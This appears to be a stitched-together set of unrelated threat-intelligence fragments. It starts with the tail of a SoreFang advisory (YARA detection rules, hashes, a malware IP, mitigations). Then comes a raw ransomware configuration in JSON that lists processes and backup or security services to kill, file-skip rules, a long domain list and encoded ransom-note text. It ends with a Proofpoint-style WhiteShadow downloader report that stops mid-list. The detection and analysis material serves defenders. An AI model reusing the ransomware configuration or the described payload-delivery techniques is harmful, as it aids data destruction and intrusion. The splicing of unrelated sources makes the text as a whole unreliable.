$b2 = "YDVQQKExNHTU8gR2xvYmFsU2lnbiwgSW5j"
$b3 = "GA1UEChMTR01PIEdsb2JhbFNpZ24sIEluY"
condition:
uint32(0) == 0x464C457F and any of ($a*) and any of ($b*)
```
#### SoreFang IOCs
**Hashes**
- 58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2
- 65495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75
- a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064
**IP Addresses (Malware)**
- 103.216.221[.]19
### Yara Rules
**Rule: sorefang_directory_enumeration_output_strings**
```yara
meta:
description = "Rule to detect SoreFang based on formatted string output for directory enumeration"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = "----------All usres directory----------"
$ = "----------Desktop directory----------"
$ = "----------Documents directory----------"
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_encryption_key_2b62**
```yara
meta:
description = "Rule to detect SoreFang based on hardcoded encryption key"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = "2b6233eb3e872ff78988f4a8f3f6a3ba"
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_encryption_key_schedule**
```yara
meta:
description = "Rule to detect SoreFang based on the key schedule used for encryption"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = {C7 05 ?? ?? ?? ?? 63 51 E1 B7 B8 ?? ?? ?? ?? 8B 48 FC 81 E9 47 86 C8 61 89 08 83 C0 04 3D ?? ?? ?? ?? 7E EB 33 D2 33 C9 B8 2C 00 00 00 89 55 D4 33 F6 89 4D D8 33 DB 3B F8 0F 4F C7 8D 04 40 89 45 D0 83 F8 01 7C 4F 0F 1F 80 00 00 00 00}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_command_elem_cookie_ga_boundary_string**
```yara
meta:
description = "Rule to detect SoreFang based on scheduled task element and Cookie header/boundary strings"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = "<Command>" wide
$ = "Cookie:_ga="
$ = "------974767299852498929531610575"
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and 2 of them
```
**Rule: sorefang_encryption_round_function**
```yara
meta:
description = "Rule to detect SoreFang based on the encryption round function"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = {8A E9 8A FB 8A 5D 0F 02 C9 88 45 0F FE C1 0F BE C5 88 6D F3 8D 14 45 01 00 00 00 0F AF D0 0F BE C5 0F BE C9 0F AF C8 C1 FA 1B C0 E1 05 0A D1 8B 4D EC 0F BE C1 89 55 E4 8D 14 45 01 00 00 00 0F AF D0 8B C1}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_add_random_commas_spaces**
```yara
meta:
description = "Rule to detect SoreFang based on function that adds commas and spaces"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = {E8 ?? ?? ?? ?? B9 06 00 00 00 99 F7 F9 8B CE 83 FA 04 7E 09 6A 02 68 ?? ?? ?? ?? EB 07 6A 01 68 ?? ?? ?? ??}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_modify_alphabet_custom_encode**
```yara
meta:
description = "Rule to detect SoreFang based on arguments passed into custom encoding algorithm function"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = {33 C0 8B CE 6A 36 6A 71 66 89 46 60 88 46 62 89 46 68 66 89 46 64}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_custom_encode_decode**
```yara
meta:
description = "Rule to detect SoreFang based on the custom encoding/decoding algorithm function"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = {55 8B EC 8B D1 53 56 8B 75 08 8B DE 80 42 62 FA 8A 4A 62 66 D3 EB 57 3A 5A 5C 74 0F}
$ = {3A 5A 5D 74 0A 3A 5A 58 74 05 3A 5A 59 75 05 FE C1 88 4A 62 8A 4A 62 B8 01 00 00 00}
$ = {8A 46 62 84 C0 74 3E 3C 06 73 12 0F B6 C0 B9 06 00 00 00 2B C8 C6 46 62 06 66 D3 66 60 0F B7 4E 60}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
```
**Rule: sorefang_remove_chars_comma_space_dot**
```yara
meta:
description = "Rule to detect SoreFang based on function that removes commas, spaces and dots"
author = "NCSC"
hash = "58d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2"
strings:
$ = {8A 18 80 FB 2C 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
$ = {8A 18 80 FB 2E 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
$ = {8A 18 80 FB 20 74 03 88 19 41 42 40 3B D6 75 F0 8B 5D 08}
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
```
**Rule: sorefang_disk_enumeration_strings**
```yara
meta:
description = "Rule to detect SoreFang based on disk enumeration strings"
author = "NCSC"
hash = "a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064"
strings:
$ = "\x0D\x0AFree on disk: "
$ = "Total disk: "
$ = "Error in GetDiskFreeSpaceEx\x0D\x0A"
$ = "\x0D\x0AVolume label: "
$ = "Serial number: "
$ = "File system: "
$ = "Error in GetVolumeInformation\x0D\x0A"
$ = "I can not get information about this disk\x0D\x0A"
condition:
(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
```
## Mitigation
A variety of mitigations will be of use in defending against the campaigns detailed in this report:
- Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security patches promptly, use anti-virus and scan regularly to guard against known malware threats.
- Use multi-factor authentication (2-factor authentication/two-step authentication) to reduce the impact of password compromises.
- Treat people as your first line of defence. Tell staff how to report suspected phishing emails, and ensure they feel confident to do so. Investigate their reports promptly and thoroughly. Never punish users for clicking phishing links or opening attachments.
- Set up a security monitoring capability so you are collecting the data that will be needed to analyse network intrusions.
- Prevent and detect lateral movement in your organisation’s networks. |
```json
{
"pk": "9/AgyLvWEviWbvuayR2k0Q140e9LZJ5hwrmto/zCyFM=",
"pid": "$2a$12$prOX/4eKl8zrpGSC5lnHPecevs5NOckOUW5r3s4JJYDnZZSghvBkq",
"sub": "8254",
"dbg": false,
"et": 0,
"wipe": true,
"wht": {
"fld": [
"program files",
"appdata",
"mozilla",
"$windows.~ws",
"application data",
"$windows.~bt",
"google",
"$recycle.bin",
"windows.old",
"programdata",
"system volume information",
"program files (x86)",
"boot",
"tor browser",
"windows",
"intel",
"perflogs",
"msocache"
],
"fls": [
"ntldr",
"thumbs.db",
"bootsect.bak",
"autorun.inf",
"ntuser.dat.log",
"boot.ini",
"iconcache.db",
"bootfont.bin",
"ntuser.dat",
"ntuser.ini",
"desktop.ini"
],
"ext": [
"ps1",
"ldf",
"lock",
"theme",
"msi",
"sys",
"wpx",
"cpl",
"adv",
"msc",
"scr",
"bat",
"key",
"ico",
"dll",
"hta",
"deskthemepack",
"nomedia",
"msu",
"rtp",
"msp",
"idx",
"ani",
"386",
"diagcfg",
"bin",
"mod",
"ics",
"com",
"hlp",
"spl",
"nls",
"cab",
"exe",
"diagpkg",
"icl",
"ocx",
"rom",
"prf",
"themepack",
"msstyles",
"lnk",
"icns",
"mpa",
"drv",
"cur",
"diagcab",
"cmd",
"shs"
]
},
"wfld": [
"backup"
],
"prc": [
"encsvc",
"powerpnt",
"ocssd",
"steam",
"isqlplussvc",
"outlook",
"sql",
"ocomm",
"agntsvc",
"mspub",
"onenote",
"winword",
"thebat",
"excel",
"mydesktopqos",
"ocautoupds",
"thunderbird",
"synctime",
"infopath",
"mydesktopservice",
"firefox",
"oracle",
"sqbcoreservice",
"dbeng50",
"tbirdconfig",
"msaccess",
"visio",
"dbsnmp",
"wordpad",
"xfssvccon"
],
"dmn": "boisehosting.net;fotoideaymedia.es;dubnew.com;stallbyggen.se;koken-voor-baby.nl;juneauopioidworkgroup.org;vancouver-print.ca;zewatchers.com;bouquet-de-roses.com;seevilla-dr-sturm.at;olejack.ru;i-trust.dk;wasmachtmeinfonds.at;appsformacpc.com;friendsandbrgrs.com;thenewrejuveme.com;xn--singlebrsen-vergleich-nec.com;sabel-bf.com;seminoc.com;ceres.org.au;cursoporcelanatoliquido.online;marietteaernoudts.nl;tastewilliamsburg.com;charlottepoudroux-photographie.fr;aselbermachen.com;klimt2012.info;accountancywijchen.nl;creamery201.com;rerekatu.com;makeurvoiceheard.com;vannesteconstpatch.co.uk;sofavietxinh.com;jorgobe.at;danskretursystem.dk;higadograsoweb.com;supportsumba.nl;ruralarcoiris.com;projetlyonturin.fr;kidbucketli-sound-awards.com;krlosdavid.com;durganews.com;leather-factory.co.jp;coding-machine.com;i-arslan.de;caribbeansunpoker.com;mir-na-iznanku.com;ki-lowroermond.nl;promesapuertorico.com;kissit.ca;dezatec.es;cite4me.org;grelot-home.com;musictreehouse.net;hkr-reise.de;id-vet.com;gasolspecialisten.se;vyhino-zhulebino-24.ru;karacaoglu.nl;bayoga.co.uk;solhaug.tk;jadwalbolanet.info;ncid.bc.ca;bricotienda.com;boldcitydowntown.com;homecomingstudio.com;sojaminplans.com;schoolofpassivewealth.com;senson.fi;denifl-consulting.at;lmtprovisions.com;talentwunder.com;acomprarseguidores.com;myzk.site;theapifactory.com;midmohandyman.com;argos.wityu.fund;doszczednosci.pl;wurmpower.at;drugdevice.org;foretprivee.ca;nurturingwisdom.com;funjose.org.gt;blgr.be;readberserk.com;lescomtesdemean.be;fiet-d.fr;sanaia.com;prochain-voyage.net;edrcreditservices.nl;yassir.pro;gantungankunciakrilikbandung.com;moveonnews.com;bhwlawfirm.com;bigbaguettes.eu;edv-live.de;littlebird.salon;iyengaryogacharlotte.com;toponlinecasinosuk.co.uk;zonamovie21.net;caribdoctor.org;body-guards.it;calabasasdigest.com;elimchan.com;herbstfeststaefa.ch;thewellnessmimi.com;corola.es;pomodori-pizzeria.de;controldekk.com;lichencafe.com;lefumetdesdombes.com;seagatesthreecharters.com;copystar.co.uk;systemate.dk;alsace-first.com;webmaster-peloton.com;koko-nora.dk;jakekozmor.com;mousepad-direkt.de;iwelt.de;dirittosanitario.biz;precisionbevel.com;boulderwelt-muenchen-west.de;chatizel-paysage.fr;praxis-foerderdiagnostik.de;globedivers.wordpress.com;nosuchthingasgovernment.com;neuschelectrical.co.za;schmalhorst.de;mediaclan.info;ihr-news.jp;bunburyfreightservices.com.au;edelman.jp;backstreetpub.com;spsshomeworkhelp.com;lillegrandpalais.com;smithmediastrategies.com;enobaugutachterpraxis.de;maxadams.london;deprobatehelp.com;baylegacy.com;deltacleta.cat;financescorecard.com;maureenbreezedancetheater.org;delom.ru;hugoversichert.de;jusibe.com;imaginado.de;craftleathermnl.com;sauschneider.info;atalent.fi;conexa4papers.trade;global-kids.info;serce.info.pl;agence-referencement-naturel-geneve.net;zimmerei-fl.de;augenta.com;fannmedias.com;villa-marrakesch.de;ulyssemarketing.com;x-ray.ca;schraven.de;bowengroup.com.au;sairaku.net;southeasternacademyofprosthodontics.org;modamilyon.com;pubweb.carnet.hr;alysonhoward.vrftet-pua.biz;adoptioperheet.fi;miriamgrimm.de;filmstreamingvfcomplet.be;kostenlose-webcams.com;deoudedorpskernnoordwijk.nl;live-your-life.jp;mardenherefordshire-pc.gov.uk;instatron.net;mirjamholleman.nl;euro-trend.pl;kojima-shihou.com;nuzech.com;basisschooldezonnewijzer.nl;quemargrasa.net;actecfoundation.org;gamesboard.info;podsosnami.ru;extensionmaison.infoshop.ru;uranus.nl;advokathuset.dk;ora-it.de;love30-chanko.com;smartypractice.com;rebeccarisher.com;cafemattmeera.com;bargningavesta.se;www1.proresult.no;rhinosfootballacademy.com;polychrdeboer.de;ccpbroadband.com;iwr.nl;wychowanieprzedszkolne.pl;greenpark.ch;bimnapratica.com;lachofikschiet.nl;memaag.com;parking.netgatewa;kieber.de;antiaginghealthbenefits.com;simulatebrain.com;digitalents.com;hairnetty.wordpress.com;samnewbyjax.com;helikoptervluchtnewyork.nl;devlaur.com;cimanchesterescorts.co.uk;houseofplus.com;rushsloboda.com;anybookreader.de;markelbroch.com;celularity.com;rafaut.com;unim.su;latestmodsapks.com;thedresserie.com;bigasgrup.com;slimidemitte.co.at;forestlakeuca.org.au;sporthamper.com;psnacademy.in;michaelsmeriglioracing.com;jbbjw.com;colorofhorses.com;iqbalscientific.com;creteil.com;geoffreymeuli.com;skanah.com;despedidascostablanca.es;alten-mebel63.ru;theadventureedge.com;profectis.de;mepavex.nl;rimborsobancario.net;pasvenska.se;tampaallen.com;symphonyenvironmental.com;vidunterricht.com;mapawood.com;vox-surveys.com;milsing.hr;sotsioloogia.ee;nativeformulas.com;kirkepartner.dk;partnertaxi.sk;visiativ-industry.fr;transliminaltribe.wordpress.com;chefdays.de;cursosgratuitosnainternet.com;faronics.com;d2marketing.co.uk;lapinlviasennus.fi;miracled deine-marke.de;platformier.com;antenanavi.com;vanswigchemdesign.com;gporf.fr;pmc-services.de;atmos-show.com;danholzmann.com;itelagen.com;transportesycementoshidalgo.es;gymnasedumanagement.com;siluet-decor.ru;gasbarre.com;milltimber.aberdeen.sch.uk;tinkoff-mobayl.ru;expandet.dk;rumahminangberdaya.com;polymedia.dk;newyou.at;zenderthelender.com;artallnightdc.com;tomaso.gr;centrospgolega.com;espacios.com;ecopro-kanto.com;spacecitysisters.org;bierensgebakkramen.nl;all-turtles.com;coffreo.biz;tandartspraktijkheesch.nl;vietlawconsultancy.com;deko4you.at;tennisclubetten.nl;extraordinaryoutdoors.com;crowcanyonopera.de;christ-michael.net;vdberg-autoimport.nl;4net.guru;finediningweek.pl;stampagrafica.es;naturalrapids.com;ussmontanacommittee.us;beaconhealthsystem.org;upplandsspar.se;ideenreich.de;you-bysia.com.au;mediaacademy-iraq.org;xtptrack.com;eaglemeetstiger.de;mountaintoptinyhomes.com;stemenstilte.nl;noskierrenteria.com;ivfminiua.com;biapi-coaching.fr;art2gointerieurprojecten.nl;corendonhotels.com;ditog.fr;kadesignandbuild.co.uk;abogadosaccidentetraficosevilla.es;camsadviser.com;lihrconsulting.ch;girlillamarketing.com;xn--rumung-bua.online;naturstein-hotte.de;agence-chocolat-noir.com;stormwall.se;collaborativeclassroom.org;baptisttabernacle.com;streamerzradio1.site;mooglee.com;smart-light.co.uk;fitovitaforum.com;c2e-poitiers.com;igrealestate.com;wari.com.pe;takeflat.com;logopaedie-blomberg.de;mrsplans.net;mooshine.com;humanityplus.org;otsu-bon.com;onlyresultsmarketing.com;interactcenter.org;ungsvenskarna.se;35-40konkatsu.net;zzyjtsgls.com;spectrmash.ru;tenacitytenfold.com;torgbodenbollnas.se;drnice.de;lightair.com;huesges-gruppe.de;promalaga.es;paulisdogshop.de;hotelsolbh.com.br;julis-lsa.de;myteamgenius.com;darnallwellbeing.org.uk;refluxreducer.com;educar.org;kuntokeskusrok.fi;truenyc.co;comparatif-lave-linge.fr;frontierweldingllc.com;autodemontagenijmegen.nl;spylista.com;allfortheloveofyou.com;ilso.net;corona-handles.com;micahkoleoso.de;fairfriends18.de;haremnick.com;ecoledansemulhouse.fr;blewback.com;macabaneaupaysflechois.com;osterberg.fi;smanheim.de;yousay.site;dublikator.com;oneheartwarriors.at;pointos.com;kenhnoithatgo.com;ausbeverage.com.au;testzandbakmetmening.online;cosmetics.at;mrxermon.de;bloggyboulga.net;bouldercafe-wuppertal.de;sobreholanda.com;smogathon.com;beyondmarcomdotcom.wordpress.com;wraithco.com;bookspeopleplaces.com;montrium.com;webgraphic-studio.com;stingraybeach.com;aglend.com.au;lecantou-coworking.com;tongdaifpthaiphong.net;solerluethi-allart.ch;coursio.com;otto-bollmann.de;madinblack.com;vibehouse.rw;bridgeloanslenders.com;erstatningsadvokaterne.dk;resortmtn.com;socstrp.org;pier40forall.org;ostheimvirtualizer.com;outcomeisincome.com;gonzalezfornes.es;kunze-immobilien.de;myhealth.net.au;helenekowalsky.com;xn--fn-kka.no;withahmed.com;simplyblessedbykeepingitreal.com;havecamerawilltravel2017.wordpress.com;muamuadolls.com;balticdentists.com;mank.din-europe.com;gw2guilds.org;raschlosser.de;geekwork.pl;pv-design.de;opatrovanie-ako.sk;ausair.com.au;commonground-stories.com;parebrise-tla.fr;vloeren-nu.nl;conasmanagement.de;dlc.berlin;liveottelut.com;4youbeautysalon.com;lykkeliv.net;adultgamezone.com;hexcreatives.co;citymax-cr.com;portoesdofarrobo.com;patrickfoundation.net;tonelektro.nl;atozdistribution.co.uk;urclan.net;evergreen-fishing.com;body-armour.online;nsec.se;autopfand24.de;syndikat-asphaltfieber.de;yourobgyn.net;vihannesporssi.fi;new.devon.gov.uk;teczowadolina.bytom.pl;antonmack.de;dpo-as-a-service.com;pogypneu.sk;creative-waves.co.uk;htchorst.nl;xn--fnsterputssollentuna-39b.se;norpol-yachting.com;parkstreetauto.net;sloverse.com;candyhouseusa.com;tsklogistik.eu;smejump.co.th;diversiapsicologia.es;unetica.fr;drfoyle.com;cranleheadache.com;amerikansktgodis.se;evangelische-pfarrgemeinde-tuniberg.de;fransespiegels.nl;coastalbridgeadvisors.com;qualitaetstag.de;kath-kirche-gera.de;alhashem.net;schutting-info.nl;2ekeus.nl;berlin-bamboo-bikes.org;minipara.com;blood-sports.net;milestoneshows.com;physiofischer.de;ontrailsandboulevards.com;babcockchurch.org;healthyyworkout.com;plantag.de;krcove-zily.eu;mylolis.com;fax-payday-loans.com;praxis-management-plus.de;smokeysstoves.com;longislandelderlaw.com;calxplus.eu;mountsoul.de;dubscollective.com;luckypatcher-apkz.com;epwritescom.wordpress.com;fundaciongregal.org;klusbeter.nl;jobmap.at;oldschoolfun.net;abl1.net;labobit.it;romeguidedvisit.com;carrybrbiz.com;blossombeyond50.com;theclubms.com;whittier5k.com;jolly-events.com;kisplanning.com.au;rostoncastings.co.uk;ravensnesthomegoods.com;nhadatcanho247.com;vetapharma.fr;hihaho.com;tulsawaterheatesec.de;hushavefritid.dk;lloydconstruction.com;ra-staudte.de;mbxvii.com;tecnojobsnet.com;starsarecircular.org;twohourswithlena.wordpress.com;stoeferlehalle.de;merzi.info;garage-lecompte-rouen.fr;hypozentrum.com;nestor-swiss.ch;thomasvicino.com;kmbshipping.co.uk;denovofoodsgroup.com;planchaavapor.net;dr-pipi.de;qlog.de;lynsayshepherd.co.uk;aco-media.nl;abogadoengijon.es;bestbet.com;liliesandbeauties.org;norovirus-ratgeber.de;thee.network;stacyloeb.com;bundabergeyeclinic.com.au;sandd.nl;americafirstcommittee.org;milanonotai.it;kevinjodea.com;easytrans.csachsen.de;answerstest.ru;airconditioning-waalwijk.nl;pixelarttees.com;freie-gewerkschaften.de;dnepr-beskid.com.ua;eco-southafrica.com;dutchcoder.nl;iphoneszervizbudapest.hu;allentownpapershow.com;bingonearme.org;summitmarketingstrategies.com;completewedglas-und-kunst.de;employeesurveys.com;scenepublique.net;monark.com;seitzdruck.com;alvinschwartz.wordpress.com;knowledgemuseumbd.com;spd-ehningen.de;boosthybrid.com.au;launchhubl.com;revezlimage.com;dontpassthepepper.com;petnest.ir;associacioesportivapolitg.cat;12starhd.onlinewagner.net;mindpackstudios.com;vitavia.lt;bouncingbonanza.com;lukeshepley.wordpress.com;igfap.com;bockamp.com;levihotelspa.fi;exenberger.stroy72.com;boompinoy.com;mdacares.com;architecturalfiberglass.org;slupetzky.at;sinal.org;qualitus.com;deepsouthclothingcompany.com;groupefrayssinet.fr;synlab.lt;kamienny-dywan24.pl;ilcdover.com;humancondition.com;insigniapmg.com;arteservicefabbro.com;team-montage.dk;iviaggisonciliegie.it;austinlchurch.com;rehabilitationcentersinhouston.net;zervicethai.co.th;vickiegrayimages.com;ziegler-praezisionsteile.de;crediacces.com;comarenterprises.com;courteney-cox.net;trapiantofue.it;space.ua;odiclinic.org;noesis.tech;urmasiimariiuniri.ro;8449nohate.org;xltyu.com;kikedeoliveira.com;remcakram.com;degroespange.com;pmcimpact.com;ceid.info.tr;gemeentehetkompas.nl;stopilhan.com;dareckleyministries;sportverein-tambach.de;ivivo.es;braffinjurylawfirm.com;pcprofessor.com;bordercollie-nim.nl;hrabritelefon.hr;ctrler.cn;makeitcount.at;foryourhealth.live;seproc.hn;ianaswanson.com;nijaplay.com;brandl-blumen.de;lubetkinmediacompanies.com;ouryoungminds.wordpress.com;micro-automation.de;apprendrelaudit.com;securityfmm.com;geisterradler.de;morawe-krueger.de;nmiec.com;sla-paris.com;figura.team;vitalyscenter.es;jvanvlietdichter.nl;crosspointefellowship.church;handi-jack-llc.com;femxarxa.cat;wsoil.com.sg;xlarge.at;groupe-cets.com;admos-gleitlager.de;liikelataamo.fi;sevenadvertising.com;nancy-informatique.fr;ateliergamila.com;stefanpasch.me;wacochamber.com;aurum-juweliere.de;hatech.io;centuryrs.com;ilive.lt;fensterbau-ziegler.de;zflas.com;thefixhut.com;goodgirlrecovery.com;botanicinnovations.com;saxtec.com;tips.technology;smalltownideamill.wordpress.com;pt-arnold.de;tarotdeseidel.com;bildungsunderlebnis.haus;brevitempore.net;imadarchid.com;sportiomsportfondsen.nl;digivod.de;darrenkeslerministries-test.net;galserwis.pl;eraorastudio.com;faroairporttransfers.net;connectedace.com;pcp-nc.com;jyzdesign.com;suncrestcabinets.ca;offroadbeasts.com;teresianmedia.org;greenfieldoptimaldentalcare.com;thomas-hospital.de;embracinghiscall.com;ralister.co.uk;rosavalamedahr.com;quizzingbee.com;richard-felix.co.uk;sipstroysochi.ru;todocaracoles.com;shiftinspiration.com;campusoutreach.org;bodyforwife.com;katiekerr.co.uk;sportsmassoren.com;trystprofessional.ru;slashdb.com;selfoutlet.com;personalenhancementcenter.com;proudground.org;walkingdeadnj.com;d1franchise.com;anthonystreetrnuernberg.de;div-vertriebsforschung.de;centromarysalud.com;asiluxury.com;chrissieperry.com;verbisonline.com;onlybacklink.com;radaradvies.nl;daklesa.de;sagadcwegleitner.at;punchbaby.com;wmiadmin.com;bxdf.info;harveybp.com;vermoote.de;johnsonfamilyfarmblog.wordpress.com;plastidip.com.ar;autofolielu.de;highimpactoutdoors.net;cwsitservices.co.uk;hairstylesnow.site;mymoneyforex.com;victoriousfestival.co.uk;farhaani.com;web.ion.ag;simoneblgringo.com;penco.ie;jacquin-maquettes.com;anteniti.com;hebkft.hu;ftlc.es;dutchbrewingcoffee.com;behavioralmedicinespecialists.com;socialonemedia.com;cirugiauretra.es;c-a.co.in;nokesvilledentistry.com;chandlerpd.com;aunexis.ch;gmto.fr;berliner-versicherungsvergleich.de;jsfg.com;vesinhnha.com.vn;joyeriaorindia.com;greenko.pl;cerebralforce.net;rota-installations.co.uk;presseclub-magdeburg.de;yamalevents.com;renergysolution.com;roygolden.com;verifort-capital.de;delawarecorporatelaw.com;jiloc.com;icpcnj.org;1kbk.com.ua;noixdecocom.fr;entopic.com;hellohope.com;flexicloud.hk;danielblum.info;thamediamedia-design.de;nataschawessels.com;smale-opticiens.nl;charlesreger.com;kaliber.co.jp;almosthomedogrescue.dog;reddysbakery.com;waynela.com;ahouseforlease.com;binder-buerotechnik.at;happyeasterimages.org;dr-tremel-rednitzhembach.de;mikeramirezcpa.com;zweerscreatives.nl;dramagickcom.wordpress.com;commercialboatbuilding.com;argenblogs.com.ar;heurigbauer.at;ogdenvision.com;gadgetedges.com;izzi360.com;turkcaparbariatrics.com;spargel-kochen.de;pridoxmaterieel.nl;heidelbergartstudio.gallery;ftf.or.at;kaminscy.com;filmvideoweb.com;meusharklinithome.wordpress.com;xn--thucmctc-13a1357egba.com;tstaffing.nl;abogadosadomicilio.es;igorbarbosa.com;homesdollar.com;ncuccr.org;caffeinternet.it;abogados-en-alicante.es;evologic-technologies.com;oslomf.no;desert-trails.com;gastsicht.de;nvwoodwerks.com;slwgs.org;vorotauu.ru;lionware.de;bodyfulls.com;myhostcloud.com;amylendscrestview.com;bptdmaluku.lemm.de;cuppacap.com;teknoz.net;layrshift.eu;blog.solutionsarchitect.guru;parkcf.nl;themadbotter.com;upmrkt.co;modelmaking.nl;nandistribution.nmarking.com;sachnendoc.com;thedad.com;mercantedifiori.com;artotelamsterdam.com;plotlinecreative.com;bauertree.com;woodleyacademy.org;dcss.de;leda-ukraine.com.ua;destinationclients.fr;jasonbaileystudio.com;cheminpsy.fr;devstyle.org;kindersitze-vergleich.de;live-con-arte.de;bee4win.com;fiscalsort.com;jeanlouissibomana.com;huehnerauge-entfernen.de;eadsmurraypugh.com;fotoscondron.com;",
"net": false,
"svc": [
"veeam",
"memtas",
"sql",
"backup",
"vss",
"sophos",
"svc$",
"mepocs"
],
"nbody": "LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIABBAGcAYQBpAG4ALgAgAD0APQA9AC0ALQAtAA0ACgANAAoAWwAtAF0AIABXAGg",
"nname": "{EXT}-readme.txt",
"exp": false,
"img": "QQBsAGwAIABvAGYAIAB5AG8AdQByACAAZgBpAGwAZQBzACAAYQByAGUAIABlAG4AYwByAHkAcAB0AGUAZAAhAA0ACgANAAoARgBpA",
"arn": false,
"rdmcnt": 0
}
``` |
# New WhiteShadow Downloader Uses Microsoft SQL to Retrieve Malware
## Overview
While not a new development, the use of Microsoft SQL queries to retrieve next-stage payloads has been relatively rare as a form of malware distribution. In August 2019, however, Proofpoint researchers encountered new Microsoft Office macros, which collectively act as a staged downloader that we dubbed “WhiteShadow.” Since the first observed occurrence of WhiteShadow in a small campaign leading to infection with an instance of Crimson RAT, we have observed the introduction of detection evasion techniques. These changes include ordering of various lines of code as well as certain basic obfuscation attempts.
In August 2019, the macros that make up WhiteShadow appeared in English-language cleartext. The only observed obfuscation technique was in the simple case altering of strings such as “Full_fILE” or “rUN_pATH.” In early September, we observed slight misspellings of certain variables such as “ShellAppzz.Namespace(Unzz).” Mid-September brought another change in macro code using reversed strings such as “StrReverse("piz.Updates\stnemucoD\")”. The most recently observed versions of the WhiteShadow macros contain long randomized text strings such as “skjfhskfhksfhksfhksjfh1223sfsdf.eDrAerTerAererer.” Overall, the macro code still remains mostly human-readable, with the same functionality as previously observed.
When recipients open malicious document attachments in these campaigns and activate macros, WhiteShadow operates by executing SQL queries against attacker-controlled Microsoft SQL Server databases. The malware is stored as long strings that are ASCII-encoded within the database. Once retrieved, the macro decodes the string and writes it to disk as a PKZip archive of a Windows executable. Once extracted by the macro, the executable is run on the system to start installing malware, which is determined by the actor based on the script configuration stored in the malicious Microsoft Office attachments.
Early campaigns delivered Crimson malware, which has historically been linked to specific actor activity. However, Proofpoint researchers currently have no evidence tying this current round of malware distribution with previous Crimson campaigns.
## Campaigns
In August 2019, Proofpoint researchers began observing a series of malicious email campaigns distributing Microsoft Word and Microsoft Excel attachments containing the WhiteShadow downloader Visual Basic macro.
It appears that WhiteShadow is one component of a malware delivery service, which includes a rented instance of Microsoft SQL Server to host payloads retrieved by the downloader.
### Chronology of Campaigns
| Date | Relative Volume | Geo/Language | Attachment Type | Payload |
|------------|----------------|--------------|------------------|---------|
| 8/26/2019 | Low | AU/English | Excel Document | Crimson |
| 8/29/2019 | Low | AU/English | Excel Document | Crimson |
| 9/2-9/4/2019 | Low | AU, UK, China/English | Word and Excel Documents | Nanocore, njRAT, AgentTesla, Crimson |
| 9/9/2019 | Low | Chinese | Word Document | Crimson |
| 9/12/2019 | Low | UK/English | Word Document | Crimson |
| 9/16-9/18/2019 | Medium | US/English | Excel Document | AZORult |
| 9/16-9/17/2019 | Low | English | Excel Document | Formbook |
| 9/17-9/18/2019 | Low | US/English | Excel Document | Nanocore |
| 9/20/2019 | Low | English | Excel Document | Nanocore |
| 9/20/2019 | Low | English | Excel Document | Crimson |
| 9/24/2019 | Low | US/English | Word Document | Crimson |
## Downloader Analysis
WhiteShadow uses a SQLOLEDB connector to connect to a remote Microsoft SQL Server instance, execute a query, and save the results to a file in the form of a zipped executable. The SQLOLEDB connector is an installable database connector from Microsoft but is included by default in many (if not all) installations of Microsoft Office. Once the connector is installed on the system, it can be used by various parts of the Windows subsystem and by Visual Basic scripts including macros in Microsoft Office documents.
We have observed several malware strains downloaded in this manner by WhiteShadow:
- Agent Tesla
- AZORult
- Crimson
- Nanocore
- njRat
- Orion Logger
- Remcos
- Formbook
The malware infection occurs in the following sequence:
1. A user enables macros in a document or spreadsheet.
2. The macro reaches out to a Microsoft SQL server and pulls an ASCII string from the ‘Byte_data’ column in the database table specified by a hardcoded ‘Id_No’ in the macro.
3. The macro ‘decodes’ the ASCII string and writes the data to a file in binary mode.
4. The file type of the decoded files have always been a ZIP to date, with a single executable inside.
5. The macro will then extract the executable from the ZIP and run it. The executable will be one of the malware payloads documented above.
## Payload Analysis
While analyzing the various payloads hosted in the database, we discovered one family of malware in particular - Crimson - that had several updates since our last analysis of the malware. Updated commands are listed below:
- **cownar**: Adds an executable to `Environment.SpecialFolder.CommonApplicationData\\%install_folder%\\updates\\` and executes it via `Process.Start(exe_path);`
